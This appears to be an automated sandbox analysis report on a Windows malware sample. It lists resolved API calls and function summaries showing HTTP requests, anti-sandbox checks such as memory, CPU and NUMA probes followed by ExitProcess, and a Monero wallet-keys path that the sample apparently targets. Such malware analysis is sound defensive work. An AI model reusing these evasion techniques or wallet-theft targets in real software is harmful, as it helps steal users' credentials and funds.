GetProcAddress.KERNEL32(74DD0000,00E25630), ref: 001D9DE3
GetProcAddress.KERNEL32(74DD0000,00E3D540), ref: 001D9DFB
GetProcAddress.KERNEL32(74DD0000,00E3D450), ref: 001D9E14
GetProcAddress.KERNEL32(74DD0000,00E3D510), ref: 001D9E2C
GetProcAddress.KERNEL32(74DD0000,00E3D3D8), ref: 001D9E44
GetProcAddress.KERNEL32(74DD0000,00E25830), ref: 001D9E5D
GetProcAddress.KERNEL32(74DD0000,00E3D498), ref: 001D9E75
GetProcAddress.KERNEL32(74DD0000,00E3D4C8), ref: 001D9E8D
GetProcAddress.KERNEL32(74DD0000,00E3D4E0), ref: 001D9EA6
GetProcAddress.KERNEL32(74DD0000,00E3D528), ref: 001D9EBE
GetProcAddress.KERNEL32(74DD0000,00E3D558), ref: 001D9ED6
GetProcAddress.KERNEL32(74DD0000,00E3D588), ref: 001D9EEF
GetProcAddress.KERNEL32(74DD0000,00E3D3F0), ref: 001D9F07
GetProcAddress.KERNEL32(74DD0000,00E3D408), ref: 001D9F1F
GetProcAddress.KERNEL32(74DD0000,00E3D438), ref: 001D9F38
GetProcAddress.KERNEL32(74DD0000,00E3A7C0), ref: 001D9F50
GetProcAddress.KERNEL32(74DD0000,00E3CFA0), ref: 001D9F68
GetProcAddress.KERNEL32(74DD0000,00E3D018), ref: 001D9F81
GetProcAddress.KERNEL32(74DD0000,00E25650), ref: 001D9F99
GetProcAddress.KERNEL32(74DD0000,00E3D060), ref: 001D9FB1
GetProcAddress.KERNEL32(74DD0000,00E252B0), ref: 001D9FCA
GetProcAddress.KERNEL32(74DD0000,00E3CE50), ref: 001D9FE2
GetProcAddress.KERNEL32(74DD0000,00E3CF58), ref: 001D9FFA
GetProcAddress.KERNEL32(74DD0000,00E25530), ref: 001DA013
GetProcAddress.KERNEL32(74DD0000,00E25290), ref: 001DA02B
LoadLibraryA.KERNEL32(00E3CE80,?,001D5CA3,001E0AEB,?,?,?,?,?,?,?,?,?,?,001E0AEA,001E0AE3), ref: 001DA03D
LoadLibraryA.KERNEL32(00E3CF88,?,001D5CA3,001E0AEB,?,?,?,?,?,?,?,?,?,?,001E0AEA,001E0AE3), ref: 001DA04E
LoadLibraryA.KERNEL32(00E3CFE8,?,001D5CA3,001E0AEB,?,?,?,?,?,?,?,?,?,?,001E0AEA,001E0AE3), ref: 001DA060
LoadLibraryA.KERNEL32(00E3CE98,?,001D5CA3,001E0AEB,?,?,?,?,?,?,?,?,?,?,001E0AEA,001E0AE3), ref: 001DA072
LoadLibraryA.KERNEL32(00E3D078,?,001D5CA3,001E0AEB,?,?,?,?,?,?,?,?,?,?,001E0AEA,001E0AE3), ref: 001DA083
LoadLibraryA.KERNEL32(00E3CFD0,?,001D5CA3,001E0AEB,?,?,?,?,?,?,?,?,?,?,001E0AEA,001E0AE3), ref: 001DA095
LoadLibraryA.KERNEL32(00E3D090,?,001D5CA3,001E0AEB,?,?,?,?,?,?,?,?,?,?,001E0AEA,001E0AE3), ref: 001DA0A7
LoadLibraryA.KERNEL32(00E3CFB8,?,001D5CA3,001E0AEB,?,?,?,?,?,?,?,?,?,?,001E0AEA,001E0AE3), ref: 001DA0B8
GetProcAddress.KERNEL32(75290000,00E25410), ref: 001DA0DA
GetProcAddress.KERNEL32(75290000,00E3CEB0), ref: 001DA0F2
GetProcAddress.KERNEL32(75290000,00E38F80), ref: 001DA10A
GetProcAddress.KERNEL32(75290000,00E3CF70), ref: 001DA123
GetProcAddress.KERNEL32(75290000,00E252D0), ref: 001DA13B
GetProcAddress.KERNEL32(6FD40000,00E2BC28), ref: 001DA160
GetProcAddress.KERNEL32(6FD40000,00E25450), ref: 001DA179
GetProcAddress.KERNEL32(6FD40000,00E2BA20), ref: 001DA191
GetProcAddress.KERNEL32(6FD40000,00E3CE20), ref: 001DA1A9
GetProcAddress.KERNEL32(6FD40000,00E3D0A8), ref: 001DA1C2
GetProcAddress.KERNEL32(6FD40000,00E25230), ref: 001DA1DA
GetProcAddress.KERNEL32(6FD40000,00E25330), ref: 001DA1F2
GetProcAddress.KERNEL32(6FD40000,00E3D030), ref: 001DA20B
GetProcAddress.KERNEL32(752C0000,00E253D0), ref: 001DA22C
GetProcAddress.KERNEL32(752C0000,00E25490), ref: 001DA244
GetProcAddress.KERNEL32(752C0000,00E3D000), ref: 001DA25D
GetProcAddress.KERNEL32(752C0000,00E3CDD8), ref: 001DA275
GetProcAddress.KERNEL32(752C0000,00E25270), ref: 001DA28D
GetProcAddress.KERNEL32(74EC0000,00E2B908), ref: 001DA2B3
GetProcAddress.KERNEL32(74EC0000,00E2B868), ref: 001DA2CB
GetProcAddress.KERNEL32(74EC0000,00E3CE38), ref: 001DA2E3
GetProcAddress.KERNEL32(74EC0000,00E25350), ref: 001DA2FC
GetProcAddress.KERNEL32(74EC0000,00E252F0), ref: 001DA314
GetProcAddress.KERNEL32(74EC0000,00E2BC00), ref: 001DA32C
GetProcAddress.KERNEL32(75BD0000,00E3D0C0), ref: 001DA352
GetProcAddress.KERNEL32(75BD0000,00E254B0), ref: 001DA36A
GetProcAddress.KERNEL32(75BD0000,00E38EF0), ref: 001DA382
GetProcAddress.KERNEL32(75BD0000,00E3D048), ref: 001DA39B
GetProcAddress.KERNEL32(75BD0000,00E3CDF0), ref: 001DA3B3
GetProcAddress.KERNEL32(75BD0000,00E253F0), ref: 001DA3CB
GetProcAddress.KERNEL32(75BD0000,00E254D0), ref: 001DA3E4
GetProcAddress.KERNEL32(75BD0000,00E3CE08), ref: 001DA3FC
GetProcAddress.KERNEL32(75BD0000,00E3CE68), ref: 001DA414
GetProcAddress.KERNEL32(75A70000,00E25370), ref: 001DA436
GetProcAddress.KERNEL32(75A70000,00E3CEC8), ref: 001DA44E
GetProcAddress.KERNEL32(75A70000,00E3CEE0), ref: 001DA466
GetProcAddress.KERNEL32(75A70000,00E3CEF8), ref: 001DA47F
GetProcAddress.KERNEL32(75A70000,00E3CF10), ref: 001DA497
GetProcAddress.KERNEL32(75450000,00E25310), ref: 001DA4B8
GetProcAddress.KERNEL32(75450000,00E25390), ref: 001DA4D1
GetProcAddress.KERNEL32(75DA0000,00E25430), ref: 001DA4F2
GetProcAddress.KERNEL32(75DA0000,00E3CF28), ref: 001DA50A
GetProcAddress.KERNEL32(6F070000,00E253B0), ref: 001DA530
GetProcAddress.KERNEL32(6F070000,00E255F0), ref: 001DA548
GetProcAddress.KERNEL32(6F070000,00E25470), ref: 001DA560
GetProcAddress.KERNEL32(6F070000,00E3CF40), ref: 001DA579
GetProcAddress.KERNEL32(6F070000,00E25550), ref: 001DA591
GetProcAddress.KERNEL32(6F070000,00E254F0), ref: 001DA5A9
GetProcAddress.KERNEL32(6F070000,00E25510), ref: 001DA5C2
GetProcAddress.KERNEL32(6F070000,00E25570), ref: 001DA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 001DA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 001DA607
GetProcAddress.KERNEL32(75AF0000,00E3D300), ref: 001DA629
GetProcAddress.KERNEL32(75AF0000,00E38FF0), ref: 001DA641
GetProcAddress.KERNEL32(75AF0000,00E3D330), ref: 001DA659
GetProcAddress.KERNEL32(75AF0000,00E3D168), ref: 001DA672
GetProcAddress.KERNEL32(75D90000,00E255B0), ref: 001DA693
GetProcAddress.KERNEL32(6E330000,00E3D240), ref: 001DA6B4
GetProcAddress.KERNEL32(6E330000,00E25590), ref: 001DA6CD
GetProcAddress.KERNEL32(6E330000,00E3D1C8), ref: 001DA6E5
GetProcAddress.KERNEL32(6E330000,00E3D2E8), ref: 001DA6FD

Strings

0V, xrefs: 001D9DD6
pU, xrefs: 001DA5CD
0R, xrefs: 001DA1CD
PS, xrefs: 001DA2EE
pT, xrefs: 001DA553
0U, xrefs: 001DA005
PU, xrefs: 001DA584
0T, xrefs: 001DA4E5
PT, xrefs: 001DA16B
InternetSetOptionA, xrefs: 001DA5E5
pR, xrefs: 001DA280
PV, xrefs: 001D9F8C
pS, xrefs: 001DA428
HttpQueryInfoA, xrefs: 001DA5FC
0S, xrefs: 001DA1E5
0X, xrefs: 001D9E4F

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 0R$0S$0T$0U$0V$0X$HttpQueryInfoA$InternetSetOptionA$PS$PT$PU$PV$pR$pS$pT$pU
API String ID: 2238633743-1605884471
Opcode ID: af9197872abccc924e69e03b4f269d4d4cdc9b4e54c9a26aa0e992b9e4e474ab
Instruction ID: 4d0d9ae3543f3bea1dbf420a71b3a124d013330d9a8c6628a002ba910e9c9e60
Opcode Fuzzy Hash: af9197872abccc924e69e03b4f269d4d4cdc9b4e54c9a26aa0e992b9e4e474ab
Instruction Fuzzy Hash: 99621CB6510300AFC344EFA8EF8895677F9F78C301714C53AA609E3264D739A865DF6A

Function 001C6280 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

Part of subcall function 001C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001C4839
Part of subcall function 001C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001C4849

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

InternetOpenA.WININET(001E0DFE,00000001,00000000,00000000,00000000), ref: 001C62E1
StrCmpCA.SHLWAPI(?,00E3EA28), ref: 001C6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001C6335
HttpOpenRequestA.WININET(00000000,GET,?,00E3E3A0,00000000,00000000,00400100,00000000), ref: 001C6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001C63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001C63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 001C63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 001C646D
InternetCloseHandle.WININET(00000000), ref: 001C64EF
InternetCloseHandle.WININET(00000000), ref: 001C64F9
InternetCloseHandle.WININET(00000000), ref: 001C6503

Strings

(, xrefs: 001C62F8
ERROR, xrefs: 001C64C9
GET, xrefs: 001C637C
ERROR, xrefs: 001C6407

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ($ERROR$ERROR$GET
API String ID: 3749127164-2906118479
Opcode ID: d38943fd44b17974666f1171b838aa44bf8ac7edb62a6589565f38f2c08e8833
Instruction ID: 63c63a5e952511414adeff31252e7845634c8e2e5646df24ce3a53c64f0e5449
Opcode Fuzzy Hash: d38943fd44b17974666f1171b838aa44bf8ac7edb62a6589565f38f2c08e8833
Instruction Fuzzy Hash: 1A716D71A00358ABDB14DBA0CC49FEE7778BF54700F5081A9F50A6B290DBB4AA85CF56

Function 001D5510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001DA820: lstrlen.KERNEL32(001C4F05,?,?,001C4F05,001E0DDE), ref: 001DA82B
Part of subcall function 001DA820: lstrcpy.KERNEL32(001E0DDE,00000000), ref: 001DA885

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001D5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001D56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001D5857

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

Part of subcall function 001D51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001D5228

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Part of subcall function 001D52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001D5318
Part of subcall function 001D52C0: lstrlen.KERNEL32(00000000), ref: 001D532F
Part of subcall function 001D52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 001D5364
Part of subcall function 001D52C0: lstrlen.KERNEL32(00000000), ref: 001D5383
Part of subcall function 001D52C0: lstrlen.KERNEL32(00000000), ref: 001D53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001D578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001D5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001D5A0C
Sleep.KERNEL32(0000EA60), ref: 001D5A1B

Strings

ERROR, xrefs: 001D5636
pW, xrefs: 001D5585, 001D55E3
ERROR, xrefs: 001D5849
ERROR, xrefs: 001D5693
ERROR, xrefs: 001D5932
ERROR, xrefs: 001D59FE
ERROR, xrefs: 001D577D

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$pW
API String ID: 507064821-2622519717
Opcode ID: 948b29ce05f72a2bb61a3a39cb1ae68c0527fa5fac63e0e87d4fcf5d74970f96
Instruction ID: 8d15e22a190222905b3b0bd1e0a468d077639097251ff822dfa396082b00f2a4
Opcode Fuzzy Hash: 948b29ce05f72a2bb61a3a39cb1ae68c0527fa5fac63e0e87d4fcf5d74970f96
Instruction Fuzzy Hash: 8CE14772910144AACB14FBA0DD92EED7339AF74301F90812AF40667291EF35AF19DB96

Function 001D17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 001D17C5
ExitProcess.KERNEL32 ref: 001D17D1

Strings

block, xrefs: 001D17B7

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 75085fe1ac08a5c4673048ed3e2da7c03d9f7657c5e719c0686aba111267aa3b
Instruction ID: 3b5545bfde25496e994b35395ece2a6ae118fc99518c2b14f2548c027678cf54
Opcode Fuzzy Hash: 75085fe1ac08a5c4673048ed3e2da7c03d9f7657c5e719c0686aba111267aa3b
Instruction Fuzzy Hash: 9C514DB5A0420AFFCB08DFE1D9A4ABE77B5BF44708F10905AE406A7350D770EA51DB62

Function 001D7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 001D7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001D757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 001D7603
RtlAllocateHeap.NTDLL(00000000), ref: 001D760A
wsprintfA.USER32 ref: 001D7640

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Strings

C, xrefs: 001D754C
:, xrefs: 001D755C
\, xrefs: 001D7560

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 1c229ff4ad43a190641dbdd6504134e5174b0b4f925bb6b45d2333002f14749b
Instruction ID: ac925e86425f109bf996a0a4a0a7a367a429866c99c26f13d6bbf8797ee8b4dd
Opcode Fuzzy Hash: 1c229ff4ad43a190641dbdd6504134e5174b0b4f925bb6b45d2333002f14749b
Instruction Fuzzy Hash: 024181B1D04358ABDB10DF94DC45BEEBBB8AF18704F10419AF509772C0E775AA44CBA5

Function 001D69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E32320), ref: 001D98A1
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E32368), ref: 001D98BA
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E32170), ref: 001D98D2
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E322A8), ref: 001D98EA
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E32440), ref: 001D9903
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E38FA0), ref: 001D991B
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E258F0), ref: 001D9933
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E25870), ref: 001D994C
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E32338), ref: 001D9964
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E32398), ref: 001D997C
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E32380), ref: 001D9995
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E323E0), ref: 001D99AD
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E25910), ref: 001D99C5
Part of subcall function 001D9860: GetProcAddress.KERNEL32(74DD0000,00E323F8), ref: 001D99DE

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001C11D0: ExitProcess.KERNEL32 ref: 001C1211

Part of subcall function 001C1160: GetSystemInfo.KERNEL32(?), ref: 001C116A
Part of subcall function 001C1160: ExitProcess.KERNEL32 ref: 001C117E

Part of subcall function 001C1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 001C112B
Part of subcall function 001C1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 001C1132
Part of subcall function 001C1110: ExitProcess.KERNEL32 ref: 001C1143

Part of subcall function 001C1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 001C123E
Part of subcall function 001C1220: ExitProcess.KERNEL32 ref: 001C1294

Part of subcall function 001D6770: GetUserDefaultLangID.KERNEL32 ref: 001D6774

Part of subcall function 001C1190: ExitProcess.KERNEL32 ref: 001C11C6

Part of subcall function 001D7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001C11B7), ref: 001D7880
Part of subcall function 001D7850: RtlAllocateHeap.NTDLL(00000000), ref: 001D7887
Part of subcall function 001D7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 001D789F

Part of subcall function 001D78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001D7910
Part of subcall function 001D78E0: RtlAllocateHeap.NTDLL(00000000), ref: 001D7917
Part of subcall function 001D78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 001D792F

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E38F10,?,001E110C,?,00000000,?,001E1110,?,00000000,001E0AEF), ref: 001D6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 001D6AE8
CloseHandle.KERNEL32(00000000), ref: 001D6AF9
Sleep.KERNEL32(00001770), ref: 001D6B04
CloseHandle.KERNEL32(?,00000000,?,00E38F10,?,001E110C,?,00000000,?,001E1110,?,00000000,001E0AEF), ref: 001D6B1A
ExitProcess.KERNEL32 ref: 001D6B22

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: c6c3266ee73cfdad01cdd7be8abaf69fed322282218919e951389580eda7c53c
